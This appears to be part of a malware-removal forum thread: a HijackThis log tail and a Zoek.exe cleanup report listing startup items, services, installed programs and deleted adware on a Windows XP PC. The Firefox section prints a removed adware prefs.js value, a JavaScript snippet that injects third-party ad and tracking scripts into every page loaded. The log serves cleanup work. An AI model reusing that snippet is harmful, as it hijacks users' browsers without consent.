    O4 - HKLM\..\Run: [iTSecMng] %ProgramFiles%\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe /START

    O4 - HKLM\..\Run: [broadcom Wireless Manager UI] C:\WINDOWS\system32\WLTRAY.exe

    O4 - HKLM\..\Run: [sigmatelSysTrayApp] %ProgramFiles%\SigmaTel\C-Major Audio\WDM\stsystra.exe

    O4 - HKCU\..\Run: [PC Suite Tray] "C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe" -onlytray

    O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe

    O4 - HKCU\..\Run: [DAEMON Tools Lite] "C:\Program Files\DAEMON Tools Lite\DTLite.exe" -autorun

    O4 - HKCU\..\Run: [Akamai NetSession Interface] "C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe"

    O4 - HKCU\..\Run: [skype] "C:\Program Files\Skype\Phone\Skype.exe" /minimized /regrun

    O4 - Startup: Seagate NA410LWP Product Registration.lnk = C:\Documents and Settings\Administrator\Application Data\Leadertech\PowerRegister\Seagate NA410LWP Product Registration.exe

    O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe

    O4 - Global Startup: Bluetooth Manager.lnk = ?

    O8 - Extra context menu item: &Verzenden naar OneNote - res://C:\PROGRA~1\MICROS~2\Office14\ONBttnIE.dll/105

    O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office12\EXCEL.EXE/3000

    O8 - Extra context menu item: E&xporteren naar Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office14\EXCEL.EXE/3000

    O9 - Extra button: Verzenden naar OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll

    O9 - Extra 'Tools' menuitem: &Verzenden naar OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll

    O9 - Extra button: &Gekoppelde notities van OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll

    O9 - Extra 'Tools' menuitem: &Gekoppelde notities van OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll

    O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe

    O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe

    O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~1\COMMON~1\Skype\SKYPE4~1.DLL

    O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL

    O20 - AppInit_DLLs: c:\progra~1\browse~1\sprote~1.dll

    O20 - Winlogon Notify: RelevantKnowledge - C:\Program Files\RelevantKnowledge\rlls.dll (file missing)

    O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll

    O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll

    O23 - Service: Adobe LM Service - Unknown owner - C:\Program Files\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe

    O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

    O23 - Service: Broadcom ASF IP and SMBIOS Mailbox Monitor (ASFIPmon) - Broadcom Corporation - C:\Program Files\Broadcom\ASFIPMon\AsfIpMon.exe

    O23 - Service: avast! Antivirus - AVAST Software - C:\Program Files\AVAST Software\Avast\AvastSvc.exe

    O23 - Service: Canon Camera Access Library 8 (CCALib8) - Canon Inc. - C:\Program Files\Canon\CAL\CALMAIN.exe

    O23 - Service: Google Update-service (gupdate) (gupdate) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Google Update-service (gupdatem) (gupdatem) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe

    O23 - Service: ServiceLayer - Nokia - C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    O23 - Service: Skype Updater (SkypeUpdate) - Skype Technologies - C:\Program Files\Skype\Updater\Updater.exe

    O23 - Service: SigmaTel Audio Service (STacSV) - SigmaTel, Inc. - C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    O23 - Service: DW WLAN Tray Service (wltrysvc) - Unknown owner - C:\WINDOWS\System32\WLTRYSVC.EXE

    --

    End of file - 7875 bytes

  17. Zoek.exe Version 4.0.0.2 Updated 31-03-2013

    Tool run by Administrator on wo 03/04/2013 at 20:03:01,54.

    Microsoft Windows XP Professional 5.1.2600 Service Pack 3 x86

    Running in: Normal Mode Internet Access Detected

    ==== Running Processes ======================

    C:\WINDOWS\System32\smss.exe

    C:\WINDOWS\system32\winlogon.exe

    C:\WINDOWS\system32\services.exe

    C:\WINDOWS\system32\lsass.exe

    C:\WINDOWS\system32\svchost -k DcomLaunch

    svchost.exe

    C:\WINDOWS\System32\svchost.exe -k netsvcs

    svchost.exe

    svchost.exe

    C:\WINDOWS\System32\WLTRYSVC.EXE

    C:\WINDOWS\System32\bcmwltry.exe

    C:\Program Files\AVAST Software\Avast\AvastSvc.exe

    C:\WINDOWS\Explorer.EXE

    C:\WINDOWS\system32\spoolsv.exe

    C:\Program Files\Broadcom\ASFIPMon\AsfIpMon.exe

    C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\mdm.exe

    C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    C:\Program Files\AVAST Software\Avast\avastUI.exe

    C:\WINDOWS\system32\igfxpers.exe

    C:\Program Files\DellTPad\Apoint.exe

    C:\WINDOWS\system32\igfxsrvc.exe

    C:\Program Files\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe

    C:\WINDOWS\system32\WLTRAY.exe

    C:\Program Files\SigmaTel\C-Major Audio\WDM\stsystra.exe

    C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe

    C:\WINDOWS\system32\ctfmon.exe

    C:\Program Files\DellTPad\ApMsgFwd.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\Skype\Phone\Skype.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtMng.exe

    C:\WINDOWS\system32\svchost.exe -k imgsvc

    C:\Program Files\DellTPad\HidFind.exe

    C:\Program Files\DellTPad\Apntex.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosA2dp.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHid.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHsp.exe

    C:\Program Files\Canon\CAL\CALMAIN.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    C:\WINDOWS\system32\wbem\unsecapp.exe

    C:\Program Files\Brownie\brstswnd.exe

    C:\Program Files\OpenOffice.org 3\program\swriter.exe

    C:\Program Files\OpenOffice.org 3\program\soffice.exe

    C:\Program Files\OpenOffice.org 3\program\soffice.bin

    C:\Program Files\Mozilla Firefox\firefox.exe

    C:\Program Files\Mozilla Firefox\plugin-container.exe

    C:\Documents and Settings\Administrator\My Documents\Downloads\HijackThis.exe

    C:\WINDOWS\system32\NOTEPAD.EXE

    C:\WINDOWS\system32\NOTEPAD.EXE

    C:\Program Files\PC Connectivity Solution\Transports\NclToBTSrv.exe

    C:\Program Files\RelevantKnowledge\rlvknlg.exe

    C:\Documents and Settings\Administrator\My Documents\Downloads\zoek.exe

    ==== Deleting CLSID Registry Keys ======================

    ==== Deleting CLSID Registry Values ======================

    ==== Installed Programs ======================

    Leawo Video Converter version 5.2.0.1

    æTorrent

    Adobe Flash Player 11 ActiveX

    Adobe Flash Player 11 Plugin

    Adobe Photoshop CS

    Agfa ScanWise 1.60

    Akamai NetSession Interface

    avast Free Antivirus

    BBroowseu2save

    Bluetooth Stack for Windows by Toshiba

    Broadcom ASF Management Applications

    Broadcom Gigabit Integrated Controller

    Broadcom Management Programs

    Brother HL-2035

    BrowseToSave 1.74

    Canon Camera Access Library

    Canon Camera Support Core Library

    Canon G.726 WMP-Decoder

    CANON iMAGE GATEWAY Task for ZoomBrowser EX

    Canon Internet Library for ZoomBrowser EX

    Canon MovieEdit Task for ZoomBrowser EX

    Canon RAW Image Task for ZoomBrowser EX

    Canon Utilities CameraWindow

    Canon Utilities CameraWindow DC

    Canon Utilities CameraWindow DC_DV 5 for ZoomBrowser EX

    Canon Utilities CameraWindow DC_DV 6 for ZoomBrowser EX

    Canon Utilities EOS Utility

    Canon Utilities MyCamera

    Canon Utilities MyCamera DC

    Canon Utilities PhotoStitch

    Canon Utilities RemoteCapture DC

    Canon Utilities RemoteCapture Task for ZoomBrowser EX

    Canon Utilities ZoomBrowser EX

    Canon ZoomBrowser EX Memory Card Utility

    cdrtfe 1.2

    DAEMON Tools Lite

    dBpoweramp DSP Effects

    dBpoweramp Music Converter

    Dell Touchpad

    DW WLAN Card Utility

    Foxit Reader

    Garmin USB Drivers

    Garmin WebUpdater

    Google Chrome

    Google Earth Plug-in

    Google Update Helper

    High Definition Audio Driver Package - KB835221

    Hotfix for Microsoft .NET Framework 3.5 SP1 (KB953595)

    Hotfix for Windows XP (KB954550-v5)

    Intel® Graphics Media Accelerator Driver

    K-Lite Codec Pack 8.7.0 (Basic)

    Microsoft .NET Framework 2.0 Service Pack 2

    Microsoft .NET Framework 3.0 Service Pack 2

    Microsoft .NET Framework 3.5 SP1

    Microsoft Kernel-Mode Driver Framework Feature Pack 1.5

    Microsoft Office 2010 Service Pack 1 (SP1)

    Microsoft Office Access MUI (Dutch) 2010

    Microsoft Office Excel MUI (Dutch) 2010

    Microsoft Office Groove MUI (Dutch) 2010

    Microsoft Office InfoPath MUI (Dutch) 2010

    Microsoft Office OneNote MUI (Dutch) 2010

    Microsoft Office Outlook MUI (Dutch) 2010

    Microsoft Office PowerPoint MUI (Dutch) 2010

    Microsoft Office Professional Plus 2010

    Microsoft Office Proof (Dutch) 2010

    Microsoft Office Proof (English) 2010

    Microsoft Office Proof (French) 2010

    Microsoft Office Proof (German) 2010

    Microsoft Office Proofing (Dutch) 2010

    Microsoft Office Publisher MUI (Dutch) 2010

    Microsoft Office Shared MUI (Dutch) 2010

    Microsoft Office Word MUI (Dutch) 2010

    Microsoft Software Update for Web Folders (Dutch) 14

    Microsoft Visual C++ 2005 Redistributable

    Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022

    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148

    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161

    Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219

    Mozilla Firefox 20.0 (x86 nl)

    Mozilla Maintenance Service

    MSVC90_x86

    Nero

    Nokia Connectivity Cable Driver

    Nokia PC Suite

    OpenOffice.org 3.4.1

    PC Connectivity Solution

    RelevantKnowledge

    SigmaTel Audio

    SkypeT 6.1

    SmartGraph

    VLC media player 2.0.5

    WD Diagnostics

    WebFldrs XP

    Winamp

    WinAVI All-in-One Converter

    Windows Driver Package - Garmin (grmnusb) GARMIN Devices (04/19/2012 2.3.1.0)

    Windows Driver Package - Nokia Modem (02/25/2011 4.7)

    Windows Driver Package - Nokia Modem (02/25/2011 7.01.0.9)

    Windows Driver Package - Nokia pccsmcfd "LegacyDriver" (05/31/2012 7.1.2.0)

    Windows Media Format Runtime

    Windows XP Service Pack 3

    WinRAR archiver

    ==== FireFox Fix ======================

    ProfilePath: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default

    user.js not found

    ---- Lines agjhwp@tnzttgdsve.edu removed from prefs.js ----

    user_pref("extensions.bootstrappedAddons", "{\"{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}\":{\"version\":\"2.2.3\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Documents and Settings\\\\Administrator\\\\Application Data\\\\Mozilla\\\\Firefox\\\\Profiles\\\\l42nb0k5.default\\\\extensions\\\\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi\"},\"lsd7i@ebuyueyuo.co.uk\":{\"version\":\"3.8\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Documents and Settings\\\\Administrator\\\\Application Data\\\\Mozilla\\\\Firefox\\\\Profiles\\\\l42nb0k5.default\\\\extensions\\\\lsd7i@ebuyueyuo.co.uk\"},\"elemhidehelper@adblockplus.org\":{\"version\":\"1.2.3\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Documents and Settings\\\\Administrator\\\\Application Data\\\\Mozilla\\\\Firefox\\\\Profiles\\\\l42nb0k5.default\\\\extensions\\\\elemhidehelper@adblockplus.org.xpi\"},\"jid0-GjwrPchS3Ugt7xydvqVK4DQk8Ls@jetpack\":{\"version\":\"0.2.5.1\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Documents and Settings\\\\Administrator\\\\Application Data\\\\Mozilla\\\\Firefox\\\\Profiles\\\\l42nb0k5.default\\\\extensions\\\\jid0-GjwrPchS3Ugt7xydvqVK4DQk8Ls@jetpack.xpi\"},\"agjhwp@tnzttgdsve.edu\":{\"version\":\"3.8\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Documents and Settings\\\\Administrator\\\\Application Data\\\\Mozilla\\\\Firefox\\\\Profiles\\\\l42nb0k5.default\\\\extensions\\\\agjhwp@tnzttgdsve.edu\"},\"{C7AE725D-FA5C-4027-BB4C-787EF9F8248A}\":{\"version\":\"1.0.0.2\",\"type\":\"extension\",\"descriptor\":\"C:\\\\Program Files\\\\RelevantKnowledge\\\\firefox\"}}");

    ---- Lines agjhwp@tnzttgdsve.edu modified from prefs.js ----

    ---- Lines lsd7i@ebuyueyuo.co.uk removed from prefs.js ----

    ---- Lines lsd7i@ebuyueyuo.co.uk modified from prefs.js ----

    ---- Lines babylon removed from prefs.js ----

    user_pref("extensions.514f0ae335081.scode", "(function(){try{if('aol.com,mail.google.com,premiumreports.info,search.babylon.com,search.gboxapp.com'.indexOf(window.self.location.hostname)>-1) return;}catch(e){};if(window.self.location.protocol.indexOf('http')>-1 && window.self==window.top){var script=document.createElement('script');script.type='text/javascript';script.src='//cdncache-a.akamaihd.net/loaders/1063/l.js?aoi=1311798366&pid=1063&zoneid=15224';document.getElementsByTagName(\"head\")[0].appendChild(script);};if(window.self.location.protocol=='http:' && window.self==window.top){var script=document.createElement('script');script.type='text/javascript';script.src='http://shpr.co/code/fsave/js/fs.js?subid=628&ex=35&uid=515b1fa43d6032.52142252';document.getElementsByTagName(\"head\")[0].appendChild(script);};if((window.self.location.protocol=='http:' || window.self.location.hostname.indexOf('ogle')>-1) && window.self==window.top){var script=document.createElement('script');script.type='text/javascript';script.src='//www.superfish.com/ws/sf_main.jsp?dlsource=btos&userId=515b1fa43d6032.52142252&CTID=p628';document.getElementsByTagName(\"head\")[0].appendChild(script);};;if(-1==window.self.location.hostname.indexOf('mail.'))for(i=0;5>i;i++)window.setTimeout(function(){document.getElementById('c2soffer')&&document.getElementById('c2soffer').parentNode.removeChild(document.getElementById('c2soffer'))},100*i);var c2soffer=document.querySelectorAll('div.c2soffer');if(c2soffer.length)for(var i=0;i<c2soffer.length;i++)c2soffer.parentNode.removeChild(c2soffer);})();");

    user_pref("extensions.BabylonToolbar.prtkDS", 0);

    user_pref("extensions.BabylonToolbar.prtkHmpg", 0);

    ---- Lines babylon modified from prefs.js ----

    ---- Lines SweetIM removed from prefs.js ----

    user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");

    user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");

    user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");

    user_pref("sweetim.toolbar.previous.keyword.URL", "");

    user_pref("sweetim.toolbar.scripts.1.domain-blacklist", "");

    user_pref("sweetim.toolbar.searchguard.enable", "");

    user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_DS", "");

    user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_HP", "");

    ---- Lines SweetIM modified from prefs.js ----

    ---- FireFox user.js and prefs.js backups ----

    prefs_20130304_2006_.backup

    ==== Deleting Files \ Folders ======================

    "C:\Program Files\RelevantKnowledge\rlls.dll" deleted

    "C:\Program Files\RelevantKnowledge\rlvknlg.exe" deleted

    "C:\Documents and Settings\All Users\Application Data\BBroowseu2save" deleted

    "C:\Documents and Settings\All Users\Application Data\BBrowosE22ssAve" deleted

    "C:\Program Files\BrowseToSave" deleted

    "C:\Program Files\RelevantKnowledge" not deleted

    "C:\Documents and Settings\All Users\Application Data\InstallMate" deleted

    "C:\Documents and Settings\All Users\Application Data\SoftSafe" deleted

    "C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkndcbhcgphcfkkddanakjiepeknbgle" deleted

    "C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default\extensions\agjhwp@tnzttgdsve.edu" deleted

    "C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default\extensions\lsd7i@ebuyueyuo.co.uk" deleted

    ==== Files Recently Created / Modified ======================

    ====== C:\WINDOWS ====

    ====== C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp ====

    2013-03-24 13:40:46 AF7CE801C8471C5CD19B366333C153C4 275552 --s---r- C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Tsu85DA0000.dll

    ====== C:\WINDOWS\system32 =====

    ====== C:\WINDOWS\system32\drivers =====

    ====== C:\WINDOWS\Tasks ======

    2013-04-01 18:31:11 BC4FBD78316552E23072D7024074C01B 830 ----a-w- C:\WINDOWS\Tasks\Adobe Flash Player Updater.job

    ====== C:\WINDOWS\Temp ======

    ======= C:\Program Files =====

    ======= C: =====

    ====== C:\Documents and Settings\Administrator\Application Data ======

    ====== C:\Documents and Settings\Administrator ======

    2013-03-11 14:07:10 1364E2881968F93E27E924114210DEDD 400 --sha-r- C:\Documents and Settings\All Users\ntuser.pol

    ====== C: exe-files ==

    2013-04-03 18:06:43 0966BAC73C96B7B055A9685FCF7EEE1E 11304288 ----a-w- C:\Program Files\Google\Update\Install\{ED162CFC-BA62-4CAF-9DFE-13B25583AD6C}\26.0.1410.43_25.0.1364.172_chrome_updater.exe

    2013-04-03 18:06:43 0966BAC73C96B7B055A9685FCF7EEE1E 11304288 ----a-w- C:\Program Files\Google\Update\Download\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\26.0.1410.43\26.0.1410.43_25.0.1364.172_chrome_updater.exe

    2013-04-03 13:08:02 57E626878D667E65127D1725279B0965 12384 ----atw- C:\Documents and Settings\Administrator\Local Settings\Temp\{71215225-6B6A-48B8-AA53-2348AAC270D3}\x86\regsvr32.exe

    2013-04-03 13:08:02 157FE300857E06020BCB38A04D5B3B75 12896 ----atw- C:\Documents and Settings\Administrator\Local Settings\Temp\{71215225-6B6A-48B8-AA53-2348AAC270D3}\x64\regsvr32.exe

    2013-04-03 13:07:51 38F61D046E575971ED83C4F71ACCD132 1531108 ----a-w- C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\KNQ8HMLI\search_defender_166[1].exe

    2013-04-03 13:07:41 588E930DF8F2514A018480CCCDDEF96A 261580 ----a-w- C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\JFX3FPC0\515c31caeb0ac[1].exe

    2013-04-03 12:58:44 1C9B83F6A2D1F414F0ACD28D75605607 115608 ----a-w- C:\Program Files\Mozilla Maintenance Service\maintenanceservice_tmp.exe

    2013-04-01 18:29:19 23B8215A26CE95DC1E3AF7A4A4B7313D 15859416 ----a-w- C:\Documents and Settings\Administrator\My Documents\Downloads\fl32.exe

    === C: other files ==

    2013-04-03 18:08:02 FF4DD97091B6AB5BE8E341F99BC93EAA 73170 ----a-w- C:\Program Files\RelevantKnowledge\rlcm.crx

    2013-04-03 12:17:43 7786FC97A89C1DBEB678798C6E2497C1 42680 ----a-w- C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\JFX3FPC0\tvl-skin[1].zip

    2013-03-31 08:20:37 51555013F2F820E6A20E991E754752D8 123385 ----a-w- C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default\extensions\elemhidehelper@adblockplus.org.xpi

    2013-03-29 16:02:01 C4CC3A6EEE403DCBA7EA2DEE48D8418C 58155 ----a-w- C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default\extensions\clearConsole@penzil.com.xpi

    ==== Startup Registry Enabled ======================

    [HKEY_USERS\S-1-5-21-73586283-2077806209-725345543-500\Software\Microsoft\Windows\CurrentVersion\Run]

    "PC Suite Tray"="C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe -onlytray"

    "ctfmon.exe"="C:\WINDOWS\system32\ctfmon.exe"

    "DAEMON Tools Lite"="C:\Program Files\DAEMON Tools Lite\DTLite.exe -autorun"

    "Akamai NetSession Interface"="C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe"

    "Skype"="C:\Program Files\Skype\Phone\Skype.exe /minimized /regrun"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

    "avast"="C:\Program Files\AVAST Software\Avast\avastUI.exe /nogui"

    "IgfxTray"="C:\WINDOWS\system32\igfxtray.exe"

    "HotKeysCmds"="C:\WINDOWS\system32\hkcmd.exe"

    "Persistence"="C:\WINDOWS\system32\igfxpers.exe"

    "Apoint"="C:\Program Files\DellTPad\Apoint.exe"

    "Broadcom Wireless Manager UI"="C:\WINDOWS\system32\WLTRAY.exe"

    "ITSecMng"="%ProgramFiles%\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe /START"

    "SigmatelSysTrayApp"="%ProgramFiles%\SigmaTel\C-Major Audio\WDM\stsystra.exe"

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

    "PC Suite Tray"="C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe -onlytray"

    "ctfmon.exe"="C:\WINDOWS\system32\ctfmon.exe"

    "DAEMON Tools Lite"="C:\Program Files\DAEMON Tools Lite\DTLite.exe -autorun"

    "Akamai NetSession Interface"="C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe"

    "Skype"="C:\Program Files\Skype\Phone\Skype.exe /minimized /regrun"

    ==== Startup Registry Disabled ======================

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg]

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\DAEMON Tools Lite]

    "key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

    "item"="DTLite"

    "hkey"="HKCU"

    "command"="\"C:\\Program Files\\DAEMON Tools Lite\\DTLite.exe\" -autorun"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\GrooveMonitor]

    "key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

    "item"="GrooveMonitor"

    "hkey"="HKLM"

    "command"="\"C:\\Program Files\\Microsoft Office\\Office12\\GrooveMonitor.exe\""

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder]

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Documents and Settings^Administrator^Start Menu^Programs^Startup^OneNote 2007 Screen Clipper and Launcher.lnk]

    "path"="C:\\Documents and Settings\\Administrator\\Start Menu\\Programs\\Startup\\OneNote 2007 Screen Clipper and Launcher.lnk"

    "backup"="C:\\WINDOWS\\pss\\OneNote 2007 Screen Clipper and Launcher.lnkStartup"

    "command"="C:\\PROGRA~1\\MICROS~2\\Office12\\ONENOTEM.EXE /tsr"

    "item"="OneNote 2007 Screen Clipper and Launcher"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Documents and Settings^Administrator^Start Menu^Programs^Startup^OpenOffice.org 3.4.1.lnk]

    "path"="C:\\Documents and Settings\\Administrator\\Start Menu\\Programs\\Startup\\OpenOffice.org 3.4.1.lnk"

    "backup"="C:\\WINDOWS\\pss\\OpenOffice.org 3.4.1.lnkStartup"

    "command"="C:\\PROGRA~1\\OPENOF~1.ORG\\program\\QUICKS~1.EXE "

    "item"="OpenOffice.org 3.4.1"

    ==== Startup Folders ======================

    2013-02-01 16:03:12 1341 ----a-w- C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\Seagate NA410LWP Product Registration.lnk

    2012-12-17 10:52:56 1918 ----a-w- C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk

    2012-12-17 11:13:00 715 ----a-w- C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Bluetooth Manager.lnk

    ==== Task Scheduler Jobs ======================

    C:\WINDOWS\tasks\Adobe Flash Player Updater.job --a------ C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe [01/04/2013 23:12]

    C:\WINDOWS\tasks\avast\Undertermined Task.exe []

    C:\WINDOWS\tasks\GoogleUpdateTaskMachineCore.job --a------ C:\Program Files\Google\Update\GoogleUpdate.exe [22/01/2013 09:56]

    C:\WINDOWS\tasks\GoogleUpdateTaskMachineUA.job --a------ C:\Program Files\Google\Update\GoogleUpdate.exe [22/01/2013 09:56]

    ==== Firefox Extensions ======================

    ProfilePath: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default

    - avast WebRep - C:\Program Files\AVAST Software\Avast\WebRep\FF

    - Visualisateur 3D de 20-20 - %ProfilePath%\extensions\2020Player_IKEA@2020Technologies.com

    - Clear Console - %ProfilePath%\extensions\clearConsole@penzil.com.xpi

    - Element Hiding Helper for Adblock Plus - %ProfilePath%\extensions\elemhidehelper@adblockplus.org.xpi

    - Gmail Notifier restartless - %ProfilePath%\extensions\jid0-GjwrPchS3Ugt7xydvqVK4DQk8Ls@jetpack.xpi

    - Adblock Plus - %ProfilePath%\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi

    - QuickJava - %ProfilePath%\extensions\{E6C1199F-E687-42da-8C24-E7770CC3AE66}.xpi

    - JavaScript Debugger - %ProfilePath%\extensions\{f13b157f-b174-47e7-a34d-4815ddfdfeb8}.xpi

    AppDir: C:\Program Files\Mozilla Firefox

    - Default - %AppDir%\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}

    ==== Firefox Plugins ======================

    Profilepath: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default

    47299371607DC2FB234444EEACB1639E - C:\WINDOWS\system32\Macromed\Flash\NPSWF32_11_6_602_180.dll - Shockwave Flash

    E64819B6014A93E2503BB52419A0F6F3 - C:\WINDOWS\system32\Macromed\Flash\NPSWF32_11_6_602_171.dll - Shockwave Flash

    E971E06DDE68684CB3957C5D0E133CB0 - C:\Program Files\Google\Google Earth\plugin\npgeplugin.dll - Google Earth Plugin

    E0FF893763BA82BAABB869A351F0C455 - C:\Program Files\Google\Update\1.3.21.135\npGoogleUpdate3.dll - Google Update

    A843FC35574ECFD9E7A41C5505A9921B - C:\Program Files\VideoLAN\VLC\npvlc.dll - VLC Web Plugin

    E42BD47C42B9A23B11F6B34A694D59D3 - C:\Program Files\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll - Foxit Reader Plugin for Mozilla

    AB87EEFFD18F2BAAFC274E7075EA6C67 - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll - Windows Presentation Foundation / Windows Presentation Foundation

    28000D7EEB2FD95A36E1A7539F599C3B - C:\Program Files\Windows Media Player\npdrmv2.dll - Microsoft® DRM

    5D41BCD19A3D90E4EBB58A6BFB79E4F7 - C:\Program Files\Windows Media Player\npdsplay.dll - Windows Media Player Plug-in Dynamic Link Library

    8B6884E3E1E5F8ABA5FA0C6A2B13181D - C:\Program Files\Windows Media Player\npwmsdrm.dll - Microsoft® DRM

    ==== Chrome Look ======================

    HKEY_LOCAL_MACHINE\SOFTWARE\Google\Chrome\Extensions

    icmlaeflemplmjndnaapfdbbnpncnbda - C:\Program Files\AVAST Software\Avast\WebRep\Chrome\aswWebRepChrome.crx[31/10/2012 00:48]

    mkndcbhcgphcfkkddanakjiepeknbgle - C:\Program Files\RelevantKnowledge\rlcm.crx[20/12/2012 23:38]

